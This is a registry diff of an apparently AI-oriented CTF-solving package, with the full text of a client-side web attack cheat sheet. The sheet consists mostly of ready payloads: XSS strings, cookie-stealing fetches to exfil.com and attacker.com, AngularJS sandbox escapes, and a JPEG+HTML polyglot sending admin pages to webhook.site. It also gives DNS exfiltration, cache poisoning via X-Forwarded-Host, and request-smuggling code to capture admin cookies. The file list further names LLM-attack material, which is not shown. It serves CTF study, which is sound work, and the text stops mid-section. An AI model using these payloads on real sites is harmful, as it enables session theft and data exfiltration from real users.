ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,529 @@
|
|
|
1
|
+
# CTF Web - Client-Side Attacks
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [XSS Payloads](#xss-payloads)
|
|
5
|
+
- [Basic](#basic)
|
|
6
|
+
- [Cookie Exfiltration](#cookie-exfiltration)
|
|
7
|
+
- [Filter Bypass](#filter-bypass)
|
|
8
|
+
- [Hex/Unicode Bypass](#hexunicode-bypass)
|
|
9
|
+
- [DOMPurify Bypass via Trusted Backend Routes](#dompurify-bypass-via-trusted-backend-routes)
|
|
10
|
+
- [JavaScript String Replace Exploitation](#javascript-string-replace-exploitation)
|
|
11
|
+
- [Client-Side Path Traversal (CSPT)](#client-side-path-traversal-cspt)
|
|
12
|
+
- [Cache Poisoning](#cache-poisoning)
|
|
13
|
+
- [X-Forwarded-Host CDN Template Fetch Poisoning (CSAW 2018)](#x-forwarded-host-cdn-template-fetch-poisoning-csaw-2018)
|
|
14
|
+
- [Hidden DOM Elements](#hidden-dom-elements)
|
|
15
|
+
- [React-Controlled Input Programmatic Filling](#react-controlled-input-programmatic-filling)
|
|
16
|
+
- [Magic Link + Redirect Chain XSS](#magic-link--redirect-chain-xss)
|
|
17
|
+
- [Content-Type via File Extension](#content-type-via-file-extension)
|
|
18
|
+
- [DOM XSS via jQuery Hashchange (Crypto-Cat)](#dom-xss-via-jquery-hashchange-crypto-cat)
|
|
19
|
+
- [Shadow DOM XSS](#shadow-dom-xss)
|
|
20
|
+
- [DOM Clobbering + MIME Mismatch](#dom-clobbering--mime-mismatch)
|
|
21
|
+
- [HTTP Request Smuggling via Cache Proxy](#http-request-smuggling-via-cache-proxy)
|
|
22
|
+
- [CSS/JS Paywall Bypass](#cssjs-paywall-bypass)
|
|
23
|
+
- [JPEG+HTML Polyglot XSS (EHAX 2026)](#jpeghtml-polyglot-xss-ehax-2026)
|
|
24
|
+
- [JSFuck Decoding](#jsfuck-decoding)
|
|
25
|
+
- [AngularJS 1.x Sandbox Escape via charAt/trim Override (Google CTF 2017)](#angularjs-1x-sandbox-escape-via-charattrim-override-google-ctf-2017)
|
|
26
|
+
- [Admin Bot javascript: URL Scheme Bypass (DiceCTF 2026)](#admin-bot-javascript-url-scheme-bypass-dicectf-2026)
|
|
27
|
+
- [XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)](#xs-leak-via-image-load-timing--graphql-csrf-htb-grandmonty)
|
|
28
|
+
- [Why it works](#why-it-works)
|
|
29
|
+
- [Step 1 — Redirect bot via meta refresh (CSP bypass)](#step-1--redirect-bot-via-meta-refresh-csp-bypass)
|
|
30
|
+
- [Step 2 — Timing oracle via image loads](#step-2--timing-oracle-via-image-loads)
|
|
31
|
+
- [Step 3 — Character-by-character extraction](#step-3--character-by-character-extraction)
|
|
32
|
+
- [Step 4 — Host exploit and tunnel](#step-4--host-exploit-and-tunnel)
|
|
33
|
+
- [jQuery `$(location.hash)` CSS Selector Timing Leak (hxp 2018)](#jquery-locationhash-css-selector-timing-leak-hxp-2018)
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## XSS Payloads
|
|
38
|
+
|
|
39
|
+
### Basic
|
|
40
|
+
```html
|
|
41
|
+
<script>alert(1)</script>
|
|
42
|
+
<img src=x onerror=alert(1)>
|
|
43
|
+
<svg onload=alert(1)>
|
|
44
|
+
<body onload=alert(1)>
|
|
45
|
+
<input onfocus=alert(1) autofocus>
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### Cookie Exfiltration
|
|
49
|
+
```html
|
|
50
|
+
<script>fetch('https://exfil.com/?c='+document.cookie)</script>
|
|
51
|
+
<img src=x onerror="fetch('https://exfil.com/?c='+document.cookie)">
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
### Filter Bypass
|
|
55
|
+
```html
|
|
56
|
+
<ScRiPt>alert(1)</ScRiPt> <!-- Case mixing -->
|
|
57
|
+
<script>alert`1`</script> <!-- Template literal -->
|
|
58
|
+
<img src=x onerror=alert(1)> <!-- HTML entities -->
|
|
59
|
+
<svg/onload=alert(1)> <!-- No space -->
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### Hex/Unicode Bypass
|
|
63
|
+
- Hex encoding: `\x3cscript\x3e`
|
|
64
|
+
- HTML entities: `<script>`
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## DOMPurify Bypass via Trusted Backend Routes
|
|
69
|
+
|
|
70
|
+
Frontend sanitizes before autosave, but backend trusts autosave — no sanitization.
|
|
71
|
+
Exploit: POST directly to `/api/autosave` with XSS payload.
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## JavaScript String Replace Exploitation
|
|
76
|
+
|
|
77
|
+
`.replace()` special patterns: `$\`` = content BEFORE match, `$'` = content AFTER match
|
|
78
|
+
Payload: `<img src="abc$\`<img src=x onerror=alert(1)>">`
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Client-Side Path Traversal (CSPT)
|
|
83
|
+
|
|
84
|
+
Frontend JS uses URL param in fetch without validation:
|
|
85
|
+
```javascript
|
|
86
|
+
const profileId = urlParams.get("id");
|
|
87
|
+
fetch("/log/" + profileId, { method: "POST", body: JSON.stringify({...}) });
|
|
88
|
+
```
|
|
89
|
+
Exploit: `/user/profile?id=../admin/addAdmin` → fetches `/admin/addAdmin` with CSRF body
|
|
90
|
+
|
|
91
|
+
Parameter pollution: `/user/profile?id=1&id=../admin/addAdmin` (backend uses first, frontend uses last)
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Cache Poisoning
|
|
96
|
+
|
|
97
|
+
CDN/cache keys only on URL:
|
|
98
|
+
```python
|
|
99
|
+
requests.get(f"{TARGET}/search?query=harmless", data=f"query=<script>evil()</script>")
|
|
100
|
+
# All visitors to /search?query=harmless get XSS
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
### X-Forwarded-Host CDN Template Fetch Poisoning (CSAW 2018)
|
|
104
|
+
|
|
105
|
+
**Pattern:** A CDN fronting the app keys cached responses only on path + query. A backend Mustache template renders a `<script src="https://{{host}}/cdn/app.js">` tag where `{{host}}` comes from the `X-Forwarded-Host` header. The attacker sends one request with `X-Forwarded-Host: attacker.tld`, Varnish caches the response for 120 seconds, and every subsequent visitor loads JavaScript from the attacker origin.
|
|
106
|
+
|
|
107
|
+
```http
|
|
108
|
+
GET /cdn/app.js HTTP/1.1
|
|
109
|
+
Host: target.tld
|
|
110
|
+
X-Forwarded-Host: attacker.tld
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
```python
|
|
114
|
+
import requests, time
|
|
115
|
+
# Poison the cache
|
|
116
|
+
requests.get("https://target.tld/cdn/app.js",
|
|
117
|
+
headers={"X-Forwarded-Host": "attacker.tld"})
|
|
118
|
+
# Within the 120s TTL any visitor pulls https://attacker.tld/cdn/app.js
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
**Key insight:** Cache keys rarely include request headers, even when those headers feed the response body. Any header the backend reflects into HTML (`Host`, `X-Forwarded-Host`, `X-Original-URL`, `X-Rewrite-URL`, `Forwarded`) becomes a web cache poisoning vector the moment the response is cached. Use `Vary: X-Forwarded-Host` or strip these headers at the edge; attackers hunt them with Burp Param Miner (`unkeyed header discovery`).
|
|
122
|
+
|
|
123
|
+
**References:** CSAW CTF Qualification Round 2018 — Hacker Movie Club, writeup 11277
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## Hidden DOM Elements
|
|
128
|
+
|
|
129
|
+
Proof/flag in `display: none`, `visibility: hidden`, `opacity: 0`, or off-screen elements:
|
|
130
|
+
```javascript
|
|
131
|
+
document.querySelectorAll('[style*="display: none"], [hidden]')
|
|
132
|
+
.forEach(el => console.log(el.id, el.textContent));
|
|
133
|
+
|
|
134
|
+
// Find all hidden content
|
|
135
|
+
document.querySelectorAll('*').forEach(el => {
|
|
136
|
+
const s = getComputedStyle(el);
|
|
137
|
+
if (s.display === 'none' || s.visibility === 'hidden' || s.opacity === '0')
|
|
138
|
+
if (el.textContent.trim()) console.log(el.tagName, el.id, el.textContent.trim());
|
|
139
|
+
});
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## React-Controlled Input Programmatic Filling
|
|
145
|
+
|
|
146
|
+
React ignores direct `.value` assignment. Use native setter + events:
|
|
147
|
+
```javascript
|
|
148
|
+
const input = document.querySelector('input[placeholder="SDG{...}"]');
|
|
149
|
+
const nativeSetter = Object.getOwnPropertyDescriptor(
|
|
150
|
+
window.HTMLInputElement.prototype, 'value'
|
|
151
|
+
).set;
|
|
152
|
+
nativeSetter.call(input, 'desired_value');
|
|
153
|
+
input.dispatchEvent(new Event('input', { bubbles: true }));
|
|
154
|
+
input.dispatchEvent(new Event('change', { bubbles: true }));
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
Works for React, Vue, Angular. Essential for automated form filling via DevTools.
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## Magic Link + Redirect Chain XSS
|
|
162
|
+
```javascript
|
|
163
|
+
// /magic/:token?redirect=/edit/<xss_post_id>
|
|
164
|
+
// Sets auth cookies, then redirects to attacker-controlled XSS page
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## Content-Type via File Extension
|
|
170
|
+
```javascript
|
|
171
|
+
// @fastify/static determines Content-Type from extension
|
|
172
|
+
noteId = '<img src=x onerror="alert(1)">.html'
|
|
173
|
+
// Response: Content-Type: text/html → XSS
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## DOM XSS via jQuery Hashchange (Crypto-Cat)
|
|
179
|
+
|
|
180
|
+
**Pattern:** jQuery's `$()` selector sink combined with `location.hash` source and `hashchange` event handler. Modern jQuery patches block direct `$(location.hash)` HTML injection, but iframe-triggered hashchange bypasses it.
|
|
181
|
+
|
|
182
|
+
**Vulnerable pattern:**
|
|
183
|
+
```javascript
|
|
184
|
+
$(window).on('hashchange', function() {
|
|
185
|
+
var element = $(location.hash);
|
|
186
|
+
element[0].scrollIntoView();
|
|
187
|
+
});
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
**Exploit via iframe:** Trigger hashchange without direct user interaction by loading the target in an iframe, then modifying the hash via `onload`:
|
|
191
|
+
```html
|
|
192
|
+
<iframe src="https://vulnerable.com/#"
|
|
193
|
+
onload="this.src+='<img src=x onerror=print()>'">
|
|
194
|
+
</iframe>
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
**Key insight:** The iframe's `onload` fires after the initial load, then changing `this.src` triggers a `hashchange` event in the target page. The hash content (`<img src=x onerror=print()>`) passes through jQuery's `$()` which interprets it as HTML, creating a DOM element with the XSS payload.
|
|
198
|
+
|
|
199
|
+
**Detection:** Look for `$(location.hash)`, `$(window.location.hash)`, or any jQuery selector that accepts user-controlled input from URL fragments.
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## Shadow DOM XSS
|
|
204
|
+
|
|
205
|
+
**Closed Shadow DOM exfiltration (Pragyan 2026):** Wrap `attachShadow` in a Proxy to capture shadow root references:
|
|
206
|
+
```javascript
|
|
207
|
+
var _r, _o = Element.prototype.attachShadow;
|
|
208
|
+
Element.prototype.attachShadow = new Proxy(_o, {
|
|
209
|
+
apply: (t, a, b) => { _r = Reflect.apply(t, a, b); return _r; }
|
|
210
|
+
});
|
|
211
|
+
// After target script creates shadow DOM, _r contains the root
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
**Indirect eval scope escape:** `(0,eval)('code')` escapes `with(document)` scope restrictions.
|
|
215
|
+
|
|
216
|
+
**Payload smuggling via avatar URL:** Encode full JS payload in avatar URL after fixed prefix, extract with `avatar.slice(N)`:
|
|
217
|
+
```html
|
|
218
|
+
<svg/onload=(0,eval)('eval(avatar.slice(24))')>
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
**`</script>` injection (Shadow Fight 2):** Keyword filters often miss HTML structural tags. `</script>` closes existing script context, `<script src=//evil>` loads external script. External script reads flag from `document.scripts[].textContent`.
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
## DOM Clobbering + MIME Mismatch
|
|
226
|
+
|
|
227
|
+
**MIME type confusion (Pragyan 2026):** CDN/server checks for `.jpeg` but not `.jpg` → serves `.jpg` as `text/html` → HTML in JPEG polyglot executes as page.
|
|
228
|
+
|
|
229
|
+
**Form-based DOM clobbering:**
|
|
230
|
+
```html
|
|
231
|
+
<form id="config"><input name="canAdminVerify" value="1"></form>
|
|
232
|
+
<!-- Makes window.config.canAdminVerify truthy, bypassing JS checks -->
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## HTTP Request Smuggling via Cache Proxy
|
|
238
|
+
|
|
239
|
+
**Cache proxy desync (Pragyan 2026):** When a caching TCP proxy returns cached responses without consuming request bodies, leftover bytes are parsed as the next request.
|
|
240
|
+
|
|
241
|
+
**Cookie theft pattern:**
|
|
242
|
+
1. Create cached resource (e.g., blog post)
|
|
243
|
+
2. Send request with cached URL + appended incomplete POST (large Content-Length, partial body)
|
|
244
|
+
3. Cache proxy returns cached response, doesn't consume POST body
|
|
245
|
+
4. Admin bot's next request bytes fill the POST body → stored on server
|
|
246
|
+
5. Read stored request to extract admin's cookies
|
|
247
|
+
|
|
248
|
+
```python
|
|
249
|
+
inner_req = (
|
|
250
|
+
f"POST /create HTTP/1.1\r\n"
|
|
251
|
+
f"Host: {HOST}\r\n"
|
|
252
|
+
f"Cookie: session={user_session}\r\n"
|
|
253
|
+
f"Content-Length: 256\r\n" # Large, but only partial body sent
|
|
254
|
+
f"\r\n"
|
|
255
|
+
f"content=LEAK_" # Victim's request completes this
|
|
256
|
+
)
|
|
257
|
+
outer_req = (
|
|
258
|
+
f"GET /cached-page HTTP/1.1\r\n"
|
|
259
|
+
f"Content-Length: {len(inner_req)}\r\n"
|
|
260
|
+
f"\r\n"
|
|
261
|
+
).encode() + inner_req
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## CSS/JS Paywall Bypass
|
|
267
|
+
|
|
268
|
+
**Pattern (Great Paywall, MetaCTF 2026):** Article content is fully present in the HTML but hidden behind a CSS/JS overlay (`position: fixed; z-index: 99999; backdrop-filter: blur(...)` with a "Subscribe" CTA).
|
|
269
|
+
|
|
270
|
+
**Quick solve:** `curl` the page — no CSS/JS rendering means the full article (and flag) are in the raw HTML.
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
curl -s https://target/article | grep -i "flag\|CTF{"
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
**Alternative approaches:**
|
|
277
|
+
- View page source in browser (Ctrl+U)
|
|
278
|
+
- Browser DevTools → delete the overlay element
|
|
279
|
+
- Disable JavaScript in browser settings
|
|
280
|
+
- `document.querySelector('#paywall-overlay').remove()` in console
|
|
281
|
+
- Googlebot user-agent: `curl -H "User-Agent: Googlebot" https://target/article`
|
|
282
|
+
|
|
283
|
+
**Key insight:** Many paywalls are client-side DOM overlays — the content is always in the HTML. The leetspeak hint "paywalls are just DOM" confirms this. Always try `curl` or view-source first before more complex approaches.
|
|
284
|
+
|
|
285
|
+
**Detection:** Look for `<div>` elements with `position: fixed`, high `z-index`, and `backdrop-filter: blur()` in the page source — these are overlay-based paywalls.
|
|
286
|
+
|
|
287
|
+
---
|
|
288
|
+
|
|
289
|
+
## JPEG+HTML Polyglot XSS (EHAX 2026)
|
|
290
|
+
|
|
291
|
+
**Pattern (Metadata Meyham):** File upload accepts JPEG, serves uploaded files with permissive MIME type. Admin bot visits reported files.
|
|
292
|
+
|
|
293
|
+
**Attack:** Create a JPEG+HTML polyglot — valid JPEG header followed by HTML/JS payload:
|
|
294
|
+
```python
|
|
295
|
+
from PIL import Image
|
|
296
|
+
import io
|
|
297
|
+
|
|
298
|
+
# Create minimal valid JPEG
|
|
299
|
+
img = Image.new('RGB', (1,1), color='red')
|
|
300
|
+
buf = io.BytesIO()
|
|
301
|
+
img.save(buf, 'JPEG', quality=1)
|
|
302
|
+
jpeg_data = buf.getvalue()
|
|
303
|
+
|
|
304
|
+
# HTML payload appended after JPEG data
|
|
305
|
+
html_payload = '''<!DOCTYPE html>
|
|
306
|
+
<html><body><script>
|
|
307
|
+
(async function(){
|
|
308
|
+
// Fetch admin page content
|
|
309
|
+
var r = await fetch("/admin");
|
|
310
|
+
var t = await r.text();
|
|
311
|
+
// Exfiltrate via self-upload (stays on same origin)
|
|
312
|
+
var j = new Uint8Array([255,216,255,224,0,16,74,70,73,70,0,1,1,0,0,1,0,1,0,0,255,217]);
|
|
313
|
+
var b = new Blob([j], {type:'image/jpeg'});
|
|
314
|
+
var f = new FormData();
|
|
315
|
+
f.append('file', b, 'FLAG_' + btoa(t).substring(0,100) + '.jpg');
|
|
316
|
+
await fetch('/upload', {method:'POST', body:f});
|
|
317
|
+
// Also try external webhook
|
|
318
|
+
new Image().src = "https://webhook.site/YOUR_ID?d=" + encodeURIComponent(t.substring(0,500));
|
|
319
|
+
})();
|
|
320
|
+
</script></body></html>'''
|
|
321
|
+
|
|
322
|
+
polyglot = jpeg_data + b'\n' + html_payload.encode()
|
|
323
|
+
# Upload as .html with image/jpeg content type
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
**PoW bypass:** Many CTF report endpoints require SHA-256 proof-of-work:
|
|
327
|
+
```python
|
|
328
|
+
import hashlib
|
|
329
|
+
nonce = 0
|
|
330
|
+
while True:
|
|
331
|
+
h = hashlib.sha256((challenge + str(nonce)).encode()).hexdigest()
|
|
332
|
+
if h.startswith('0' * difficulty):
|
|
333
|
+
break
|
|
334
|
+
nonce += 1
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
**Exfiltration methods (ranked by reliability):**
|
|
338
|
+
1. **Self-upload:** Fetch `/admin`, upload result as filename → check `/files` for new uploads
|
|
339
|
+
2. **Webhook:** `fetch('https://webhook.site/ID?flag='+data)` — may be blocked by CSP
|
|
340
|
+
3. **DNS exfil:** `new Image().src = 'http://'+btoa(flag)+'.attacker.com'` — bypasses most CSP
|
|
341
|
+
|
|
342
|
+
**Key insight:** JPEG files are tolerant of trailing data. Browsers parse HTML from anywhere in the response when MIME allows it. The polyglot is simultaneously a valid JPEG and valid HTML.
|
|
343
|
+
|
|
344
|
+
---
|
|
345
|
+
|
|
346
|
+
## JSFuck Decoding
|
|
347
|
+
|
|
348
|
+
**Pattern (JShit, PascalCTF 2026):** Page source contains JSFuck (`[]()!+` only). Decode by removing trailing `()()` and calling `.toString()` in Node.js:
|
|
349
|
+
```javascript
|
|
350
|
+
const code = fs.readFileSync('jsfuck.js', 'utf8');
|
|
351
|
+
// Remove last () to get function object instead of executing
|
|
352
|
+
const func = eval(code.slice(0, -2));
|
|
353
|
+
console.log(func.toString()); // Reveals original code with hardcoded flag
|
|
354
|
+
```
|
|
355
|
+
|
|
356
|
+
---
|
|
357
|
+
|
|
358
|
+
## AngularJS 1.x Sandbox Escape via charAt/trim Override (Google CTF 2017)
|
|
359
|
+
|
|
360
|
+
**Pattern:** AngularJS versions before 1.6 sandbox expressions to prevent arbitrary JavaScript execution in `{{ }}` bindings. The sandbox relies on `charAt` to validate identifiers character by character. Override `charAt` with `trim` on `String.prototype` to bypass the check, then use `$eval` to execute arbitrary JS.
|
|
361
|
+
|
|
362
|
+
**Payload:**
|
|
363
|
+
```javascript
|
|
364
|
+
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,window.location="http://attacker.com/"+document.cookie,a')}}
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
**How it works:**
|
|
368
|
+
1. `toString().constructor.prototype` accesses `String.prototype`
|
|
369
|
+
2. `a.charAt=a.trim` replaces `charAt` with `trim` on all strings
|
|
370
|
+
3. The sandbox calls `charAt(0)` on identifiers to validate them -- but `trim` returns the full string instead of a single character
|
|
371
|
+
4. This breaks the character-by-character validation, allowing any expression
|
|
372
|
+
5. `$eval('expression')` evaluates arbitrary JavaScript in the Angular scope
|
|
373
|
+
|
|
374
|
+
**Shorter variants for different AngularJS versions:**
|
|
375
|
+
```javascript
|
|
376
|
+
<!-- AngularJS 1.5.x -->
|
|
377
|
+
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)')}}
|
|
378
|
+
|
|
379
|
+
<!-- AngularJS 1.4.x -->
|
|
380
|
+
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//')}}
|
|
381
|
+
|
|
382
|
+
<!-- AngularJS 1.3.x -->
|
|
383
|
+
{{constructor.constructor('return window.location="http://attacker.com/"+document.cookie')()}}
|
|
384
|
+
```
|
|
385
|
+
|
|
386
|
+
**Detection:** Look for `ng-app` or `ng-controller` directives in HTML, AngularJS script includes (`angular.js` or `angular.min.js`), and `{{ }}` expression bindings that reflect user input.
|
|
387
|
+
|
|
388
|
+
**Key insight:** The sandbox relies on `charAt` to validate identifiers. Replacing it with `trim` (which returns the full string) bypasses the character-by-character check, allowing arbitrary expression evaluation. AngularJS 1.6+ removed the sandbox entirely (acknowledging it was never a security boundary), but many CTFs and legacy apps still use older versions.
|
|
389
|
+
|
|
390
|
+
---
|
|
391
|
+
|
|
392
|
+
## Admin Bot javascript: URL Scheme Bypass (DiceCTF 2026)
|
|
393
|
+
|
|
394
|
+
